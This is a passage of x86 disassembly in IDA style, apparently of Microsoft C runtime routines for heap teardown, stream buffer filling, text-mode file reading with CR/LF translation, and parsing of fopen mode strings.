call sub_41F690
mov dword_4DE64C, eax
cmp dword_4DE64C, 3
jnz short loc_41F923
push 3F8h
call sub_41CA80
add esp, 4
test eax, eax
jnz short loc_41F921
mov ecx, dword_4DE648
push ecx
call dword_4E0490 ; HeapDestroy
xor eax, eax
jmp short loc_41F94B
; ---------------------------------------------------------------------------
loc_41F921: ; CODE XREF: sub_41F8C0+4Ej
jmp short loc_41F946
; ---------------------------------------------------------------------------
loc_41F923: ; CODE XREF: sub_41F8C0+3Dj
cmp dword_4DE64C, 2
jnz short loc_41F946
call sub_41E750
test eax, eax
jnz short loc_41F946
mov edx, dword_4DE648
push edx
call dword_4E0490 ; HeapDestroy
xor eax, eax
jmp short loc_41F94B
; ---------------------------------------------------------------------------
loc_41F946: ; CODE XREF: sub_41F8C0:loc_41F921j
; sub_41F8C0+6Aj ...
mov eax, 1
loc_41F94B: ; CODE XREF: sub_41F8C0+2Aj
; sub_41F8C0+5Fj ...
pop ebp
retn
sub_41F8C0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 0Ch
cmp dword_4DE64C, 3
jnz loc_41F9EA
mov eax, dword_4DE668
mov [ebp-8], eax
mov dword ptr [ebp-4], 0
jmp short loc_41F97D
; ---------------------------------------------------------------------------
loc_41F974: ; CODE XREF: .data:0041F9D1j
mov ecx, [ebp-4]
add ecx, 1
mov [ebp-4], ecx
loc_41F97D: ; CODE XREF: .data:0041F972j
mov edx, [ebp-4]
cmp edx, dword_4DE664
jge short loc_41F9D3
push 4000h
push 100000h
mov eax, [ebp-8]
mov ecx, [eax+0Ch]
push ecx
call dword_4E0484 ; VirtualFree
push 8000h
push 0
mov edx, [ebp-8]
mov eax, [edx+0Ch]
push eax
call dword_4E0484 ; VirtualFree
mov ecx, [ebp-8]
mov edx, [ecx+10h]
push edx
push 0
mov eax, dword_4DE648
push eax
call dword_4E0480 ; RtlFreeHeap
mov ecx, [ebp-8]
add ecx, 14h
mov [ebp-8], ecx
jmp short loc_41F974
; ---------------------------------------------------------------------------
loc_41F9D3: ; CODE XREF: .data:0041F986j
mov edx, dword_4DE668
push edx
push 0
mov eax, dword_4DE648
push eax
call dword_4E0480 ; RtlFreeHeap
jmp short loc_41FA28
; ---------------------------------------------------------------------------
loc_41F9EA: ; CODE XREF: .data:0041F95Dj
cmp dword_4DE64C, 2
jnz short loc_41FA28
mov dword ptr [ebp-0Ch], offset off_445248
loc_41F9FA: ; CODE XREF: .data:0041FA26j
mov ecx, [ebp-0Ch]
cmp dword ptr [ecx+10h], 0
jz short loc_41FA17
push 8000h
push 0
mov edx, [ebp-0Ch]
mov eax, [edx+10h]
push eax
call dword_4E0484 ; VirtualFree
loc_41FA17: ; CODE XREF: .data:0041FA01j
mov ecx, [ebp-0Ch]
mov edx, [ecx]
mov [ebp-0Ch], edx
cmp dword ptr [ebp-0Ch], offset off_445248
jnz short loc_41F9FA
loc_41FA28: ; CODE XREF: .data:0041F9E8j
; .data:0041F9F1j
mov eax, dword_4DE648
push eax
call dword_4E0490 ; HeapDestroy
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FA40 proc near ; CODE XREF: sub_417160+66p
; sub_417860+19p ...
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = byte ptr -0Ah
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
add eax, 1
cmp eax, 100h
ja short loc_41FA6A
mov ecx, [ebp+arg_0]
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, [ebp+arg_4]
jmp loc_41FAF3
; ---------------------------------------------------------------------------
loc_41FA6A: ; CODE XREF: sub_41FA40+11j
mov ecx, [ebp+arg_0]
sar ecx, 8
and ecx, 0FFh
and ecx, 0FFh
mov edx, off_447274
xor eax, eax
mov ax, [edx+ecx*2]
and eax, 8000h
test eax, eax
jz short loc_41FAB3
mov ecx, [ebp+arg_0]
sar ecx, 8
and ecx, 0FFh
mov [ebp+var_C], cl
mov dl, byte ptr [ebp+arg_0]
mov [ebp+var_B], dl
mov [ebp+var_A], 0
mov [ebp+var_8], 2
jmp short loc_41FAC4
; ---------------------------------------------------------------------------
loc_41FAB3: ; CODE XREF: sub_41FA40+4Fj
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_C], al
mov [ebp+var_B], 0
mov [ebp+var_8], 1
loc_41FAC4: ; CODE XREF: sub_41FA40+71j
push 1
push 0
push 0
lea ecx, [ebp+var_4]
push ecx
mov edx, [ebp+var_8]
push edx
lea eax, [ebp+var_C]
push eax
push 1
call sub_429B60
add esp, 1Ch
test eax, eax
jnz short loc_41FAE8
xor eax, eax
jmp short loc_41FAF3
; ---------------------------------------------------------------------------
loc_41FAE8: ; CODE XREF: sub_41FA40+A2j
mov eax, [ebp+var_4]
and eax, 0FFFFh
and eax, [ebp+arg_4]
loc_41FAF3: ; CODE XREF: sub_41FA40+25j
; sub_41FA40+A6j
mov esp, ebp
pop ebp
retn
sub_41FA40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FB00 proc near ; CODE XREF: sub_417410+182p
; sub_4186C0+D7p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_41FB09: ; CODE XREF: sub_41FB00+31j
cmp [ebp+arg_0], 0
jnz short loc_41FB2D
push offset dword_4344AC
push 0
push 69h
push offset a_filbuf_c ; "_filbuf.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_41FB2D
int 3 ; Trap to Debugger
loc_41FB2D: ; CODE XREF: sub_41FB00+Dj
; sub_41FB00+2Aj
xor eax, eax
test eax, eax
jnz short loc_41FB09
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 83h
test eax, eax
jz short loc_41FB55
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 40h
test edx, edx
jz short loc_41FB5D
loc_41FB55: ; CODE XREF: sub_41FB00+46j
or eax, 0FFFFFFFFh
jmp loc_41FCDD
; ---------------------------------------------------------------------------
loc_41FB5D: ; CODE XREF: sub_41FB00+53j
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 2
test ecx, ecx
jz short loc_41FB80
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 20h
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
or eax, 0FFFFFFFFh
jmp loc_41FCDD
; ---------------------------------------------------------------------------
loc_41FB80: ; CODE XREF: sub_41FB00+68j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
or al, 1
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 10Ch
test eax, eax
jnz short loc_41FBAB
mov ecx, [ebp+var_4]
push ecx
call sub_429D20
add esp, 4
jmp short loc_41FBB6
; ---------------------------------------------------------------------------
loc_41FBAB: ; CODE XREF: sub_41FB00+9Bj
mov edx, [ebp+var_4]
mov eax, [ebp+var_4]
mov ecx, [eax+8]
mov [edx], ecx
loc_41FBB6: ; CODE XREF: sub_41FB00+A9j
mov edx, [ebp+var_4]
mov eax, [edx+18h]
push eax
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
push edx
mov eax, [ebp+var_4]
mov ecx, [eax+10h]
push ecx
call sub_41FCF0
add esp, 0Ch
mov edx, [ebp+var_4]
mov [edx+4], eax
mov eax, [ebp+var_4]
cmp dword ptr [eax+4], 0
jz short loc_41FBEB
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+4], 0FFFFFFFFh
jnz short loc_41FC1B
loc_41FBEB: ; CODE XREF: sub_41FB00+E0j
mov edx, [ebp+var_4]
mov eax, [edx+4]
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, eax
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 0
or eax, 0FFFFFFFFh
jmp loc_41FCDD
; ---------------------------------------------------------------------------
loc_41FC1B: ; CODE XREF: sub_41FB00+E9j
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 82h
test eax, eax
jnz short loc_41FC81
mov ecx, [ebp+var_4]
cmp dword ptr [ecx+10h], 0FFFFFFFFh
jz short loc_41FC56
mov edx, [ebp+var_4]
mov eax, [edx+10h]
sar eax, 5
mov ecx, [ebp+var_4]
mov edx, [ecx+10h]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[eax*4]
add eax, edx
mov [ebp+var_8], eax
jmp short loc_41FC5D
; ---------------------------------------------------------------------------
loc_41FC56: ; CODE XREF: sub_41FB00+131j
mov [ebp+var_8], offset dword_447A30
loc_41FC5D: ; CODE XREF: sub_41FB00+154j
mov ecx, [ebp+var_8]
movsx edx, byte ptr [ecx+4]
and edx, 82h
cmp edx, 82h
jnz short loc_41FC81
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
or ch, 20h
mov edx, [ebp+var_4]
mov [edx+0Ch], ecx
loc_41FC81: ; CODE XREF: sub_41FB00+128j
; sub_41FB00+170j
mov eax, [ebp+var_4]
cmp dword ptr [eax+18h], 200h
jnz short loc_41FCB4
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
and edx, 8
test edx, edx
jz short loc_41FCB4
mov eax, [ebp+var_4]
mov ecx, [eax+0Ch]
and ecx, 400h
test ecx, ecx
jnz short loc_41FCB4
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 1000h
loc_41FCB4: ; CODE XREF: sub_41FB00+18Bj
; sub_41FB00+198j ...
mov eax, [ebp+var_4]
mov ecx, [eax+4]
sub ecx, 1
mov edx, [ebp+var_4]
mov [edx+4], ecx
mov eax, [ebp+var_4]
mov ecx, [eax]
movsx eax, byte ptr [ecx]
and eax, 0FFh
mov edx, [ebp+var_4]
mov ecx, [edx]
add ecx, 1
mov edx, [ebp+var_4]
mov [edx], ecx
loc_41FCDD: ; CODE XREF: sub_41FB00+58j
; sub_41FB00+7Bj ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_41FB00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FCF0 proc near ; CODE XREF: sub_417410+118p
; sub_41FB00+CBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp eax, dword_4DE420
jnb short loc_41FD21
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_41FD3C
loc_41FD21: ; CODE XREF: sub_41FCF0+Dj
call sub_4224D0
mov dword ptr [eax], 9
call sub_4224E0
mov dword ptr [eax], 0
or eax, 0FFFFFFFFh
jmp short loc_41FD6E
; ---------------------------------------------------------------------------
loc_41FD3C: ; CODE XREF: sub_41FCF0+2Fj
mov edx, [ebp+arg_0]
push edx
call sub_4299C0
add esp, 4
mov eax, [ebp+arg_8]
push eax
mov ecx, [ebp+arg_4]
push ecx
mov edx, [ebp+arg_0]
push edx
call sub_41FD80
add esp, 0Ch
mov [ebp+var_4], eax
mov eax, [ebp+arg_0]
push eax
call sub_429A50
add esp, 4
mov eax, [ebp+var_4]
loc_41FD6E: ; CODE XREF: sub_41FCF0+4Aj
mov esp, ebp
pop ebp
retn
sub_41FCF0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FD80 proc near ; CODE XREF: sub_41FCF0+64p
; sub_429E30+42Fp
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
mov [ebp+var_18], 0
mov eax, [ebp+arg_4]
mov [ebp+var_14], eax
cmp [ebp+arg_8], 0
jz short loc_41FDBB
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 2
test ecx, ecx
jz short loc_41FDC2
loc_41FDBB: ; CODE XREF: sub_41FD80+17j
xor eax, eax
jmp loc_4201C1
; ---------------------------------------------------------------------------
loc_41FDC2: ; CODE XREF: sub_41FD80+39j
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DE320[edx*4]
movsx edx, byte ptr [ecx+eax+4]
and edx, 48h
test edx, edx
jz short loc_41FE59
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
movsx eax, byte ptr [edx+ecx+5]
cmp eax, 0Ah
jz short loc_41FE59
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
mov ecx, [ebp+var_14]
mov dl, [eax+edx+5]
mov [ecx], dl
mov eax, [ebp+var_14]
add eax, 1
mov [ebp+var_14], eax
mov ecx, [ebp+var_18]
add ecx, 1
mov [ebp+var_18], ecx
mov edx, [ebp+arg_8]
sub edx, 1
mov [ebp+arg_8], edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
mov byte ptr [edx+ecx+5], 0Ah
loc_41FE59: ; CODE XREF: sub_41FD80+62j
; sub_41FD80+82j
push 0
lea eax, [ebp+var_10]
push eax
mov ecx, [ebp+arg_8]
push ecx
mov edx, [ebp+var_14]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
mov eax, [edx+ecx]
push eax
call dword_4E03B8 ; ReadFile
test eax, eax
jnz short loc_41FED8
call dword_4E0350 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
cmp [ebp+var_8], 5
jnz short loc_41FEB7
call sub_4224D0
mov dword ptr [eax], 9
call sub_4224E0
mov ecx, [ebp+var_8]
mov [eax], ecx
or eax, 0FFFFFFFFh
jmp loc_4201C1
; ---------------------------------------------------------------------------
loc_41FEB7: ; CODE XREF: sub_41FD80+118j
cmp [ebp+var_8], 6Dh
jnz short loc_41FEC4
xor eax, eax
jmp loc_4201C1
; ---------------------------------------------------------------------------
loc_41FEC4: ; CODE XREF: sub_41FD80+13Bj
mov edx, [ebp+var_8]
push edx
call sub_422430
add esp, 4
or eax, 0FFFFFFFFh
jmp loc_4201C1
; ---------------------------------------------------------------------------
loc_41FED8: ; CODE XREF: sub_41FD80+109j
mov eax, [ebp+var_18]
add eax, [ebp+var_10]
mov [ebp+var_18], eax
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 80h
test ecx, ecx
jz loc_4201BE
cmp [ebp+var_10], 0
jz short loc_41FF54
mov edx, [ebp+arg_4]
movsx eax, byte ptr [edx]
cmp eax, 0Ah
jnz short loc_41FF54
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
mov cl, [eax+edx+4]
or cl, 4
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov edx, dword_4DE320[edx*4]
mov [edx+eax+4], cl
jmp short loc_41FF8A
; ---------------------------------------------------------------------------
loc_41FF54: ; CODE XREF: sub_41FD80+18Ej
; sub_41FD80+199j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
mov al, [edx+ecx+4]
and al, 0FBh
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov ecx, dword_4DE320[ecx*4]
mov [ecx+edx+4], al
loc_41FF8A: ; CODE XREF: sub_41FD80+1D2j
mov edx, [ebp+arg_4]
mov [ebp+var_C], edx
mov eax, [ebp+var_C]
mov [ebp+var_4], eax
loc_41FF96: ; CODE XREF: sub_41FD80:loc_4201B0j
mov ecx, [ebp+arg_4]
add ecx, [ebp+var_18]
cmp [ebp+var_4], ecx
jnb loc_4201B5
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx]
cmp eax, 1Ah
jnz short loc_42000E
mov ecx, [ebp+arg_0]
sar ecx, 5
mov edx, [ebp+arg_0]
and edx, 1Fh
imul edx, 24h
mov eax, dword_4DE320[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 40h
test ecx, ecx
jnz short loc_420009
mov edx, [ebp+arg_0]
sar edx, 5
mov eax, [ebp+arg_0]
and eax, 1Fh
imul eax, 24h
mov ecx, dword_4DE320[edx*4]
mov dl, [ecx+eax+4]
or dl, 2
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov eax, dword_4DE320[eax*4]
mov [eax+ecx+4], dl
loc_420009: ; CODE XREF: sub_41FD80+250j
jmp loc_4201B5
; ---------------------------------------------------------------------------
loc_42000E: ; CODE XREF: sub_41FD80+22Ej
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 0Dh
jz short loc_42003A
mov eax, [ebp+var_C]
mov ecx, [ebp+var_4]
mov dl, [ecx]
mov [eax], dl
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
jmp loc_4201B0
; ---------------------------------------------------------------------------
loc_42003A: ; CODE XREF: sub_41FD80+297j
mov edx, [ebp+var_18]
mov eax, [ebp+arg_4]
lea ecx, [eax+edx-1]
cmp [ebp+var_4], ecx
jnb short loc_420090
mov edx, [ebp+var_4]
movsx eax, byte ptr [edx+1]
cmp eax, 0Ah
jnz short loc_42006F
mov ecx, [ebp+var_4]
add ecx, 2
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
mov byte ptr [edx], 0Ah
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42008B
; ---------------------------------------------------------------------------
loc_42006F: ; CODE XREF: sub_41FD80+2D3j
mov ecx, [ebp+var_C]
mov edx, [ebp+var_4]
mov al, [edx]
mov [ecx], al
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_4]
add edx, 1
mov [ebp+var_4], edx
loc_42008B: ; CODE XREF: sub_41FD80+2EDj
jmp loc_4201B0
; ---------------------------------------------------------------------------
loc_420090: ; CODE XREF: sub_41FD80+2C7j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
mov [ebp+var_8], 0
push 0
lea ecx, [ebp+var_10]
push ecx
push 1
lea edx, [ebp+var_1C]
push edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
mov eax, [edx+ecx]
push eax
call dword_4E03B8 ; ReadFile
test eax, eax
jnz short loc_4200D9
call dword_4E0350 ; RtlGetLastWin32Error
mov [ebp+var_8], eax
loc_4200D9: ; CODE XREF: sub_41FD80+34Ej
cmp [ebp+var_8], 0
jnz short loc_4200E5
cmp [ebp+var_10], 0
jnz short loc_4200F9
loc_4200E5: ; CODE XREF: sub_41FD80+35Dj
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
jmp loc_4201B0
; ---------------------------------------------------------------------------
loc_4200F9: ; CODE XREF: sub_41FD80+363j
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
movsx eax, byte ptr [edx+ecx+4]
and eax, 48h
test eax, eax
jz short loc_420163
movsx ecx, [ebp+var_1C]
cmp ecx, 0Ah
jnz short loc_420135
mov edx, [ebp+var_C]
mov byte ptr [edx], 0Ah
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_420161
; ---------------------------------------------------------------------------
loc_420135: ; CODE XREF: sub_41FD80+3A2j
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
mov eax, [ebp+arg_0]
sar eax, 5
mov ecx, [ebp+arg_0]
and ecx, 1Fh
imul ecx, 24h
mov edx, dword_4DE320[eax*4]
mov al, [ebp+var_1C]
mov [edx+ecx+5], al
loc_420161: ; CODE XREF: sub_41FD80+3B3j
jmp short loc_4201B0
; ---------------------------------------------------------------------------
loc_420163: ; CODE XREF: sub_41FD80+399j
mov ecx, [ebp+var_C]
cmp ecx, [ebp+arg_4]
jnz short loc_420185
movsx edx, [ebp+var_1C]
cmp edx, 0Ah
jnz short loc_420185
mov eax, [ebp+var_C]
mov byte ptr [eax], 0Ah
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_4201B0
; ---------------------------------------------------------------------------
loc_420185: ; CODE XREF: sub_41FD80+3E9j
; sub_41FD80+3F2j
push 1
push 0FFFFFFFFh
mov edx, [ebp+arg_0]
push edx
call sub_426470
add esp, 0Ch
mov [ebp+var_20], eax
movsx eax, [ebp+var_1C]
cmp eax, 0Ah
jz short loc_4201B0
mov ecx, [ebp+var_C]
mov byte ptr [ecx], 0Dh
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_4201B0: ; CODE XREF: sub_41FD80+2B5j
; sub_41FD80:loc_42008Bj ...
jmp loc_41FF96
; ---------------------------------------------------------------------------
loc_4201B5: ; CODE XREF: sub_41FD80+21Fj
; sub_41FD80:loc_420009j
mov eax, [ebp+var_C]
sub eax, [ebp+arg_4]
mov [ebp+var_18], eax
loc_4201BE: ; CODE XREF: sub_41FD80+184j
mov eax, [ebp+var_18]
loc_4201C1: ; CODE XREF: sub_41FD80+3Dj
; sub_41FD80+132j ...
mov esp, ebp
pop ebp
retn
sub_41FD80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4201D0 proc near ; CODE XREF: sub_4175E0+DBp
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 24h
push ebx
push esi
push edi
mov eax, dword_4DE1C0
mov [ebp+var_1C], eax
mov [ebp+var_18], 0
mov [ebp+var_10], 0
loc_4201EF: ; CODE XREF: sub_4201D0+47j
cmp [ebp+arg_0], 0
jnz short loc_420213
push offset aFilenameNull ; "filename != NULL"
push 0
push 47h
push offset a_open_c ; "_open.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_420213
int 3 ; Trap to Debugger
loc_420213: ; CODE XREF: sub_4201D0+23j
; sub_4201D0+40j
xor ecx, ecx
test ecx, ecx
jnz short loc_4201EF
loc_420219: ; CODE XREF: sub_4201D0+71j
cmp [ebp+arg_4], 0
jnz short loc_42023D
push offset aModeNull ; "mode != NULL"
push 0
push 48h
push offset a_open_c ; "_open.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_42023D
int 3 ; Trap to Debugger
loc_42023D: ; CODE XREF: sub_4201D0+4Dj
; sub_4201D0+6Aj
xor edx, edx
test edx, edx
jnz short loc_420219
loc_420243: ; CODE XREF: sub_4201D0+9Bj
cmp [ebp+arg_C], 0
jnz short loc_420267
push offset dword_4344AC
push 0
push 49h
push offset a_open_c ; "_open.c"
push 2
call sub_41B010
add esp, 14h
cmp eax, 1
jnz short loc_420267
int 3 ; Trap to Debugger
loc_420267: ; CODE XREF: sub_4201D0+77j
; sub_4201D0+94j
xor eax, eax
test eax, eax
jnz short loc_420243
mov ecx, [ebp+arg_4]
mov dl, [ecx]
mov [ebp+var_20], dl
cmp [ebp+var_20], 61h
jz short loc_4202AC
cmp [ebp+var_20], 72h
jz short loc_420289
cmp [ebp+var_20], 77h
jz short loc_42029A
jmp short loc_4202BE
; ---------------------------------------------------------------------------
loc_420289: ; CODE XREF: sub_4201D0+AFj
mov [ebp+var_14], 0
mov eax, [ebp+var_1C]
or al, 1
mov [ebp+var_1C], eax
jmp short loc_4202C5
; ---------------------------------------------------------------------------
loc_42029A: ; CODE XREF: sub_4201D0+B5j
mov [ebp+var_14], 301h
mov ecx, [ebp+var_1C]
or ecx, 2
mov [ebp+var_1C], ecx
jmp short loc_4202C5
; ---------------------------------------------------------------------------
loc_4202AC: ; CODE XREF: sub_4201D0+A9j
mov [ebp+var_14], 109h
mov edx, [ebp+var_1C]
or edx, 2
mov [ebp+var_1C], edx
jmp short loc_4202C5
; ---------------------------------------------------------------------------
loc_4202BE: ; CODE XREF: sub_4201D0+B7j
xor eax, eax
jmp loc_4204E6
; ---------------------------------------------------------------------------
loc_4202C5: ; CODE XREF: sub_4201D0+C8j
; sub_4201D0+DAj ...
mov [ebp+var_4], 1
loc_4202CC: ; CODE XREF: sub_4201D0:loc_42046Aj
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
movsx edx, byte ptr [ecx]
test edx, edx
jz loc_42046F
cmp [ebp+var_4], 0
jz loc_42046F
mov eax, [ebp+arg_4]
movsx ecx, byte ptr [eax]
mov [ebp+var_24], ecx
mov edx, [ebp+var_24]
sub edx, 2Bh
mov [ebp+var_24], edx
cmp [ebp+var_24], 49h
ja loc_420463
mov ecx, [ebp+var_24]
xor eax, eax
mov al, byte_420515[ecx]
jmp off_4204ED[eax*4]
loc_42031B: ; DATA XREF: .data:off_4204EDo
mov edx, [ebp+var_14]
and edx, 2
test edx, edx
jz short loc_42032E
mov [ebp+var_4], 0
jmp short loc_420350
; ---------------------------------------------------------------------------
loc_42032E: ; CODE XREF: sub_4201D0+153j
mov eax, [ebp+var_14]
or al, 2
mov [ebp+var_14], eax
mov ecx, [ebp+var_14]
and ecx, 0FFFFFFFEh
mov [ebp+var_14], ecx
mov edx, [ebp+var_1C]
or dl, 80h
mov [ebp+var_1C], edx
mov eax, [ebp+var_1C]
and al, 0FCh
mov [ebp+var_1C], eax
loc_420350: ; CODE XREF: sub_4201D0+15Cj
jmp loc_42046A
; ---------------------------------------------------------------------------
loc_420355: ; CODE XREF: sub_4201D0+144j
; DATA XREF: .data:00420501o
mov ecx, [ebp+var_14]
and ecx, 0C000h
test ecx, ecx
jz short loc_42036B
mov [ebp+var_4], 0
jmp short loc_420374
; ---------------------------------------------------------------------------
loc_42036B: ; CODE XREF: sub_4201D0+190j
mov edx, [ebp+var_14]
or dh, 80h
mov [ebp+var_14], edx
loc_420374: ; CODE XREF: sub_4201D0+199j
jmp loc_42046A
; ---------------------------------------------------------------------------
loc_420379: ; CODE XREF: sub_4201D0+144j
; DATA XREF: .data:0042050Do
mov eax, [ebp+var_14]
and eax, 0C000h
test eax, eax
jz short loc_42038E
mov [ebp+var_4], 0
jmp short loc_420397
; ---------------------------------------------------------------------------
loc_42038E: ; CODE XREF: sub_4201D0+1B3j
mov ecx, [ebp+var_14]
or ch, 40h
mov [ebp+var_14], ecx
loc_420397: ; CODE XREF: sub_4201D0+1BCj
jmp loc_42046A
; ---------------------------------------------------------------------------
loc_42039C: ; CODE XREF: sub_4201D0+144j
; DATA XREF: .data:00420505o
cmp [ebp+var_18], 0
jz short loc_4203AB
mov [ebp+var_4], 0
jmp short loc_4203BB
; ---------------------------------------------------------------------------
loc_4203AB: ; CODE XREF: sub_4201D0+1D0j
mov [ebp+var_18], 1
mov edx, [ebp+var_1C]
or dh, 40h
mov [ebp+var_1C], edx
loc_4203BB: ; CODE XREF: sub_4201D0+1D9j
jmp loc_42046A
; ---------------------------------------------------------------------------
loc_4203C0: ; CODE XREF: sub_4201D0+144j
; DATA XREF: .data:00420509o
cmp [ebp+var_18], 0
jz short loc_4203CF
mov [ebp+var_4], 0
jmp short loc_4203DF
; ---------------------------------------------------------------------------
loc_4203CF: ; CODE XREF: sub_4201D0+1F4j
mov [ebp+var_18], 1
mov eax, [ebp+var_1C]
and ah, 0BFh
mov [ebp+var_1C], eax
loc_4203DF: ; CODE XREF: sub_4201D0+1FDj
jmp loc_42046A
; ---------------------------------------------------------------------------
